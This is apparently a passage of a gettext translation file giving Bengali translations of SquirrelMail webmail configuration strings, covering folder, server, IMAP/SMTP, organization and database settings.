msgid "24-hour clock"
msgstr "⧍ā§Ē āϘāĻ¨ā§āϟāĻž āϘ⧜āĻŋ"

msgid "Memory Search"
msgstr "āĻ¸ā§āĻŽā§ƒāϤāĻŋ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "Disabled"
msgstr "āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋ⧟"

msgid "Folder Selection Options"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ⧇āϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Selection List Style"
msgstr "āύāĻŋāϰ'āĻŦāĻžāϚāύ āϤāĻžāϞāĻŋāĻ•āĻžāϰ āĻļ⧈āϞ⧀"

msgid "Long:"
msgstr "āϞāĻŽā§āĻŦāĻž:"

msgid "Folder"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Subfolder"
msgstr "āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Indented:"
msgstr "āĻ›āĻžā§œ āĻĻāĻŋā§Ÿā§‡ āϞ⧇āĻ–āĻž āĻļ⧁āϰ⧁ āĻ•āϰāĻžâ€Œ:"

msgid "Delimited:"
msgstr "āϏ⧀āĻŽāĻžāύāĻž āύāĻŋāĻ°ā§āĻĻ⧇āĻļ āĻ•āϰāĻž:"

msgid "You can't select INBOX as Trash folder."
msgstr "āχāύāĻŦāĻ•ā§āϏāϕ⧇ āφāĻĒāύāĻŋ āφāĻŦāĻ°ā§āϜāύāĻž āĻĢ⧇āϞāĻžāϰ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻšāĻŋāϏ⧇āĻŦ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻžāĨ¤"

msgid "You can't select INBOX as Sent folder."
msgstr "āχāύāĻŦāĻ•ā§āϏāϕ⧇ āφāĻĒāύāĻŋ āĻĒāĻžāĻ āĻžāύ⧋āϰ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻšāĻŋāϏ⧇āĻŦ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻžāĨ¤"

msgid "You can't select INBOX as Draft folder."
msgstr "āχāύāĻŦāĻ•ā§āϏāϕ⧇ āφāĻĒāύāĻŋ āφāĻŦāĻ°ā§āϜāύāĻž āĻ–āϏ⧜āĻž āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻšāĻŋāϏ⧇āĻŦ⧇ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻžāĨ¤"

msgid "Name and Address Options"
msgstr "āύāĻžāĻŽ-āĻ āĻŋāĻ•āĻžāύāĻž āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀"

msgid "E-mail Address"
msgstr "āχ-āĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Edit Advanced Identities"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĒāϰāĻŋāϚ⧟ āϗ⧁āϞ⧋ āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž"

msgid "(discards changes made on this form so far)"
msgstr "(āĻāχ āĻĒāĻžāϤāĻžā§Ÿ āĻāĻ–āύ āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āϝāĻž āϝāĻž āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϞ, āϤāĻž āĻŦāĻžāϤāĻŋāϞ āĻ•āϰāĻž āĻšā§‹āĻ•)"

msgid "Multiple Identities"
msgstr "āĻāĻ•āĻžāϧāĻŋāĻ• āĻĒāϰāĻŋāϚāϝāĻŧ"

msgid "Same as server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻŽāϤ"

msgid "Error opening timezone config, contact administrator."
msgstr ""
"āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āĻ–ā§‹āϞāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž, āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āϏāĻšāĻžā§ŸāĻ•āĻĻ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύāĨ¤"

msgid "Timezone Options"
msgstr "āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Your current timezone"
msgstr "āφāĻĒāύāĻžāϰ āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻ•āĻžāϞāĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Reply Citation Options"
msgstr "āϜāĻŦāĻžāĻŦ āĻĻ⧇āĻ“ā§ŸāĻž āĻĒā§‚āύāϰ⧁āĻ•ā§āϤāĻŋ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Reply Citation Style"
msgstr "āĻĒā§‚āύāϰ⧁āĻ•ā§āϤāĻŋ āϝ⧇āĻ­āĻžāĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇"

msgid "No Citation"
msgstr "āĻĒā§‚āύāϰ⧁āĻ•ā§āϤāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇ āύāĻž"

msgid "AUTHOR Wrote"
msgstr "āϞ⧇āĻ–āĻ• āϞāĻŋāϖ⧇āϛ⧇āύ"

msgid "On DATE, AUTHOR Wrote"
msgstr "āϤāĻžāϰāĻŋāϖ⧇, āϞ⧇āĻ–āĻ• āϞāĻŋāϖ⧇āϛ⧇āύ"

msgid "Quote Who XML"
msgstr "āωāĻĻā§āϧ⧃āϤāĻŋāϰ āϜāĻ¨ā§āϝ āĻŦāĻ°ā§āϧāĻŋāϤ āĻŦāĻ°ā§āĻŖāύāĻž āĻ­āĻžāώāĻž XML āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "User-Defined"
msgstr "āĻŦā§āϝāĻšāĻžāϰāĻ•āĻžāϰ⧀-āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ•"

msgid "User-Defined Citation Start"
msgstr "āĻŦā§āϝāĻšāĻžāϰāĻ•āĻžāϰ⧀-āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ• āĻĒā§‚āύāϰ⧁āĻ•ā§āϤāĻŋ āĻļ⧁āϰ⧁āϰ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ•"

msgid "User-Defined Citation End"
msgstr "āĻŦā§āϝāĻšāĻžāϰāĻ•āĻžāϰ⧀-āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ• āĻĒā§‚āύāϰ⧁āĻ•ā§āϤāĻŋ āĻļ⧇āώ⧇āϰ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ•"

msgid "Signature Options"
msgstr "āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ āϞ⧇āĻ–āĻžāϰ āύāĻŋ⧟āĻŽ"

msgid "Use Signature"
msgstr "āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Prefix Signature with '-- ' Line"
msgstr "āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ āϞāĻžāχāύ⧇āϰ āφāϗ⧇ āĻāĻ• āϞāĻžāχāύ āϧāϰ⧇ '-- ' āĻĻāĻŋāύ"

msgid "Take Address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āύāĻŋāύ"

msgid "Address Book Take:"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āĻŦāχ āύāĻŋāύ:"

msgid "Try to verify addresses"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āĻ āĻŋāĻ• āφāϛ⧇ āĻ•āĻŋāύāĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύ"

msgid "Config File Version"
msgstr "āύāĻŋ⧟āĻŽā§‡āϰ āĻĢāĻžāχāϞ⧇āϰ āϏāĻ‚āĻ¸ā§āĻ•āϰāĻŖ"

msgid "SquirrelMail Version"
msgstr "SquirrelMail āϏāĻ‚āĻ•āϞāύ"

msgid "PHP Version"
msgstr "āĻĒāĻŋ-āĻāχāϚ-āĻĒāĻŋ āϏāĻ‚āĻ¸ā§āĻ•āϰāĻŖ "

msgid "Organization Preferences"
msgstr "āφāĻĒāύāĻžāϰ āϏāĻ‚āĻ—āĻ āύ⧇āϰ āύāĻŋāϜāĻ¸ā§āĻŦ āύāĻŋ⧟āĻŽ"

msgid "Organization Name"
msgstr "āϏāĻ‚āĻ—āĻ āύ⧇āϰ āύāĻžāĻŽ"

msgid "Organization Logo"
msgstr "āϏāĻ‚āĻ—āĻ āύ⧇āϰ āĻĒā§āϰāϤ⧀āĻ•"

msgid "Organization Logo Width"
msgstr "āϏāĻ‚āĻ—āĻ āĻŖ āĻĒā§āϰāϤ⧀āϕ⧇āϰ āĻĒā§āϰāĻ¸ā§āĻĨ"

msgid "Organization Logo Height"
msgstr "āϏāĻ‚āĻ—āĻ āĻŖ āĻĒā§āϰāϤ⧀āϕ⧇āϰ āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ"

msgid "Organization Title"
msgstr "āϏāĻ‚āĻ—āĻ āύ⧇āϰ āĻĒāϰāĻŋāϚ⧟"

msgid "Signout Page"
msgstr "āϏāĻžāχāύ āφāωāϟ āĻĒ⧃āĻˇā§āĻ āĻž"

msgid "Provider Link URI"
msgstr "āϏāϰāĻŦāϰāĻžāĻšāĻ•āĻžāϰ⧀āϰ āϞāĻŋāĻ‚āĻ• URI(āχāωāφāϰāφāχ)"

msgid "Provider Name"
msgstr "āϏāϰāĻŦāϰāĻžāĻšāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ"

msgid "Top Frame"
msgstr "āωāĻĒāϰ⧇āϰ āĻĒāĻ¤ā§āϰāĻžāĻ‚āĻļ"

msgid "Server Settings"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āĻŽāĻžāύāϏāĻŽā§‚āĻš"

msgid "Mail Domain"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻĄā§‹āĻŽā§‡āχāύ"

msgid "IMAP Server Address"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "IMAP Server Port"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āϗ⧇āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž"

msgid "IMAP Server Type"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϧāϰāĻŖ"

msgid "Cyrus IMAP server"
msgstr "āϏāĻžāχāϰāĻžāϏ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "University of Washington's IMAP server"
msgstr "āĻ“ā§ŸāĻžāĻļāĻŋāĻ‚āϟāύ āĻŦāĻŋāĻļā§āĻŦāĻŦāĻŋāĻĻā§āϝāĻžāĻ˛ā§Ÿā§‡āϰ āϤ⧈āϰ⧀ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Microsoft Exchange IMAP server"
msgstr "āĻŽāĻžāχāĻ•ā§āϰ⧋āϏāĻĢāϟ āĻāĻ•ā§āϏāĻšā§‡āĻžā§āϜ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Courier IMAP server"
msgstr "āϕ⧁āϰāĻŋ⧟āĻžāϰ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Mac OS X Mailserver"
msgstr "Mac OS X āĻŽā§‡āχāϞāϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "hMailServer IMAP server"
msgstr "hMailServer āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Mercury/32 IMAP server"
msgstr "āĻŽāĻžāĻ°ā§āĻ•āĻžāϰāĻŋ/ā§Šā§¨ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Binc IMAP server"
msgstr "Binc āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Dovecot IMAP server"
msgstr "Dovecot āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "Not one of the above servers"
msgstr "āĻāϗ⧁āϞ⧋ āĻŦāĻžāĻĻ⧇ āĻ…āĻ¨ā§āϝ āĻāĻ• āϰāĻ•āĻŽā§‡āϰ āϏāĻžāĻ°ā§āĻ­āĻžāϰ"

msgid "IMAP Folder Delimiter"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϏ⧀āĻŽāĻžāύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻ•"

msgid "Use &quot;detect&quot; to auto-detect."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰ &quot;āϏāύāĻžāĻ•ā§āϤ&quot; āĻ¸ā§āĻŦ⧟āĻ‚-āϏāύāĻžāĻ•ā§āϤāĻ•āϰāύ⧇āϰ āϜāĻ¨ā§āϝāĨ¤"

msgid "Use TLS for IMAP Connections"
msgstr "IMAP āϏāĻ‚āϝ⧋āϗ⧇āϰ āϜāĻ¨ā§āϝ TLS āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšā§‹āĻ•"

msgid "Requires PHP 4.3.x! Experimental."
msgstr "āĻāϰ āϜāĻ¨ā§āϝ āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āĻĒāĻŋ āĻāχāϚ āĻĒāĻŋ āϰ ā§Ē.ā§Š.x! āĻĒāϰ⧀āĻ•ā§āώāĻžāĻŽā§‚āϞāĻ•āĨ¤"

msgid "IMAP Authentication Type"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āĻĒā§āϰāĻŽāĻžāĻŖā§€āĻ•āϰāĻŖ āϧāϰāĻŖ"

msgid "IMAP login"
msgstr "āφāχāĻŽā§āϝāĻžāĻĒ āϞāĻ—āχāύ"

msgid "Use Sendmail Binary"
msgstr "āϏ⧇āĻ¨ā§āĻĄ āĻŽā§‡āχāϞ (Sendmail) āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšā§‹āĻ•"

msgid "Choose &quot;no&quot; for SMTP"
msgstr "āĻŦ⧇āϛ⧇ āύ⧇āĻ“ā§ŸāĻž &quot;no&quot; SMTP āϜāĻ¨ā§āϝ"

msgid "Sendmail Path"
msgstr "āϏ⧇āĻ¨ā§āĻĄ āĻŽā§‡āχāϞ (Sendmail) āĻĒāĻĨ"

msgid "Sendmail Arguments"
msgstr "āϏ⧇āĻ¨ā§āĻĄāĻŽā§‡āχāϞ⧇āϰ āĻļāĻ°ā§āϤāϏāĻŽā§‚āĻš"

msgid "SMTP Server Address"
msgstr "SMTP āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "SMTP Server Port"
msgstr "SMTP āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĒā§‹āĻ°ā§āϟ"

msgid "Use TLS for SMTP Connections"
msgstr "SMTP āϏāĻ‚āϝ⧋āĻ—āϏāĻŽā§‚āĻšā§‡āϰ āϜāĻ¨ā§āϝ TLS āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "SMTP Authentication Type"
msgstr "SMTP āĻĒā§āϰāĻŽāĻžāĻŖā§€āĻ•āϰāĻŖ āϧāϰāĻŖ"

msgid "No SMTP auth"
msgstr "SMTP āĻĒā§āϰāĻŽāĻžāύ⧀āĻ•āϰāĻŖ āύ⧇āχ"

msgid "Login (plain text)"
msgstr "āϞāĻ—āχāύ (āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ)"

msgid "Custom SMTP AUTH username"
msgstr "āĻŽāĻžāĻĒ āĻ…āύ⧁āϏāĻžāϰ⧇ āϤ⧈āϰ⧀ SMTP āĻĒā§āϰāĻŽāĻžāύ⧀āĻ•āϰāĻŖ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ"

msgid "Custom SMTP AUTH password"
msgstr "āĻŽāĻžāĻĒ āĻ…āύ⧁āϏāĻžāϰ⧇ āϤ⧈āϰ⧀ SMTP āĻĒā§āϰāĻŽāĻžāύ⧀āĻ•āϰāĻŖ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ"

msgid "POP3 Before SMTP?"
msgstr "SMTP āϰ āφāϗ⧇ POP3?"

msgid "Header Encryption Key"
msgstr "āĻļāĻŋāϰāĻ• āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āϕ⧀(key)"

msgid "Invert Time"
msgstr "āϏāĻŽā§Ÿ āωāĻ˛ā§āĻŸā§‡ āĻĻāĻŋāύ"

msgid "Folders Defaults"
msgstr "āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀"

msgid "Default Folder Prefix"
msgstr "āĻĒā§‚āĻ°ā§āĻŦ āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āωāĻĒāĻĒāĻĻ"

msgid "Show Folder Prefix Option"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āωāĻĒāĻĒāĻĻ āĻĒāĻ›āĻ¨ā§āĻĻ āĻĻ⧇āĻ–āĻžāύ"

msgid "By default, move to trash"
msgstr "āĻĒā§‚āĻ°ā§āĻŦ āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ­āĻžāĻŦ⧇, āϛ⧇āρāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āϏāϰāĻŋāϝāĻŧ⧇ āϰāĻžāĻ–āĻž āĻšā§Ÿ"

msgid "By default, move to sent"
msgstr "āĻĒā§‚āĻ°ā§āĻŦ āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ­āĻžāĻŦ⧇,āĻĒāĻžāĻ āĻžāύ⧋ āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āϏāϰāĻŋāϝāĻŧ⧇ āϰāĻžāĻ–āĻž āĻšā§Ÿ"

msgid "By default, save as draft"
msgstr "āĻĒā§‚āĻ°ā§āĻŦ āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ­āĻžāĻŦ⧇, āĻ–āϏāĻĄāĻŧāĻž āĻšāĻŋāϏāĻžāĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž āĻšā§Ÿ"

msgid "List Special Folders First"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻļ⧁āϰ⧁āϤ⧇ āϤāĻžāϞāĻŋāĻ•āĻž āĻ•āϰ⧁āύ "

msgid "Show Special Folders Color"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϰāĻ™ āĻĻ⧇āĻ–āĻžāύ"

msgid "Auto Expunge"
msgstr "āϝ⧇āύ āφāĻĒāύāĻž āφāĻĒāύāĻŋ āĻ–āĻžāϞāĻŋ āĻ•āϰ⧇ āĻĢ⧇āϞāĻž āĻšā§Ÿ"

msgid "Default Sub. of INBOX"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āχāύāĻŦāĻ•ā§āϏ⧇āϰ āĻŦāĻŋāώ⧟"

msgid "Show 'Contain Sub.' Option"
msgstr "'āϧāĻžāϰāĻŖāĻ•ā§ƒāϤ āĻŦāĻŋāώ⧟' āĻĒāĻ›āĻ¨ā§āĻĻāϟāĻŋ āĻĻ⧇āĻ–āĻžāύ"

msgid "Default Unseen Notify"
msgstr "āĻĒā§‚āĻ°ā§āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻĻ⧇āĻ–āĻž āĻ…āĻŦāĻ—āϤ āĻ•āϰāĻž"

msgid "Default Unseen Type"
msgstr "āĻĒā§‚āĻ°ā§āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻĻ⧇āĻ–āĻž āϧāϰāĻŖ"

msgid "Auto Create Special Folders"
msgstr "āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟āĻ­āĻžāĻŦ⧇ āϤ⧈āϰāĻŋ āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϏāĻŽā§‚āĻš"

msgid "Auto delete folders"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϏāĻŽā§‚āĻš āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟āĻ­āĻžāĻŦ⧇ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Enable /NoSelect folder fix"
msgstr "āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ /NoSelect āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻŽā§‡āϰāĻžāĻŽāϤ āĻ•āϰ⧁āύ"

msgid "General Options"
msgstr "āϏāĻžāϧāĻžāϰāĻŖ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀"

msgid "Data Directory"
msgstr "āϤāĻĨā§āϝ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž"

msgid "Temp Directory"
msgstr "āĻ…āĻ¸ā§āĻĨāĻžāϝāĻŧā§€ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž"

msgid "Hash Level"
msgstr "āϏāĻ¨ā§āϧāĻžāύāϏāĻšāĻžā§ŸāĻ•āϏ⧂āĻ¤ā§āϰ⧇āϰ (hash) āĻ¸ā§āϤāϰ"

msgid "Hash Disabled"
msgstr "āϏāĻ¨ā§āϧāĻžāύāϏāĻšāĻžā§ŸāĻ•āϏ⧂āĻ¤ā§āϰ āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋ⧟ āĻ•āϰāĻž āĻšāϞ⧋"

msgid "Moderate"
msgstr "āĻ…āĻ˛ā§āĻĒ"

msgid "Medium"
msgstr "āĻŽāĻžāĻāĻžāϰ⧀"

msgid "Default Left Size"
msgstr "āĻĒā§‚āĻ°ā§āĻŦ āύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻŦāĻžāĻŽāĻĻāĻŋāϕ⧇āϰ āϜāĻžā§ŸāĻ—āĻž"

msgid "Usernames in Lowercase"
msgstr "āϛ⧋āϟāĻšāĻžāϤ⧇āϰ āĻ…āĻ•ā§āώāϰ⧇ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ"

msgid "Allow use of priority"
msgstr "āϗ⧁āϰ⧁āĻ¤ā§āĻŦ⧇āϰ āĻŦā§āϝāĻŦāĻšāĻžāϰ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Hide SM attributions"
msgstr "SM āĻŦ⧈āĻļāĻŋāĻˇā§āĻŸā§āϝāϏāĻŽā§‚āĻš āϞ⧁āĻ•āĻŋā§Ÿā§‡ āϰāĻžāϖ⧁āύ"

msgid "Enable use of delivery receipts"
msgstr "āϚāĻŋāĻ āĻŋ āĻĒ⧌āρāϛ⧇ āϗ⧇āϞ⧇ āĻĒ⧌āρāĻ›-āĻĒāĻ¤ā§āϰ āĻĒā§āϰāĻĻāĻžāύ⧇āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰāĻž āĻšā§‹āĻ•"

msgid "Allow editing of identities"
msgstr "āĻĒāϰāĻŋāϚ⧟āϏāĻŽā§‚āĻš āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰāϤ⧇ āϏāĻŽā§āĻŽāϤāĻŋ āĻĻāĻŋāύ"

msgid "Allow editing of full name"
msgstr "āĻĒ⧁āϰ⧋ āύāĻžāĻŽ āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰāϤ⧇ āϏāĻŽā§āĻŽāϤāĻŋ āĻĻāĻŋāύ"

msgid "Remove username from headers"
msgstr "āĻļāĻŋāϰāĻ• āĻšāϤ⧇ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Used only when identities can't be modified"
msgstr "āĻĒāϰāĻŋāϚāĻžā§ŸāĻ•āϗ⧁āϞ⧋ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāĻž āύāĻž āϗ⧇āϞ⧇ āϕ⧇āĻŦāϞ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āϤāĻ–āύ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻšā§Ÿ"

msgid "Use server-side sorting"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ-āϏāĻžāχāĻĄ āĻ•ā§āϰāĻŽāϏāĻœā§āϜāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Use server-side thread sorting"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ-āϏāĻžāχāĻĄ āĻĨā§āϰ⧇āĻĄ āĻ•ā§āϰāĻŽāϏāĻœā§āϜāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Allow server charset search"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻ•āĻŋ āĻ•āĻŋ āϞāĻŋāĻĒāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āϤāĻž āϖ⧁āρāĻœā§‡ āύāĻŋāϤ⧇ āĻĻ⧇āĻ“ā§ŸāĻžāϰ āĻ…āύ⧁āĻŽā§‹āĻĻāύ"

msgid "UID support"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϏāĻ‚āĻ–ā§āϝāĻž āϏāĻŽāĻ°ā§āĻĨāύ"

msgid "PHP session name"
msgstr "āĻĒāĻŋ āĻāχāϚ āĻĒāĻŋ-āϰ āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻ•āĻžāĻ°ā§āϝāϏ⧂āĻšā§€āϰ āύāĻžāĻŽ"

msgid "Location base"
msgstr "āĻ…āĻŦāĻ¸ā§āĻĨāĻžāύ⧇āϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋāϤ⧇"

msgid "Message of the Day"
msgstr "āφāϜāϕ⧇āϰ āĻĻāĻŋāύ⧇āϰ āĻŦāĻžāĻ°ā§āϤāĻž"

msgid "Database"
msgstr "āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ"

msgid "Address book DSN"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāĻ‡ā§Ÿā§‡āϰ āĻĄāĻŋ āĻāϏ āĻāύ (DSN)"

msgid "Address book table"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āϏāĻžāϰāĻŖā§€"

msgid "Preferences DSN"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋āϰ āĻĄāĻŋ āĻāϏ āĻāύ (DSN)"

msgid "Preferences table"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋āϰ āϏāĻžāϰāĻŖā§€"

msgid "Preferences username field"
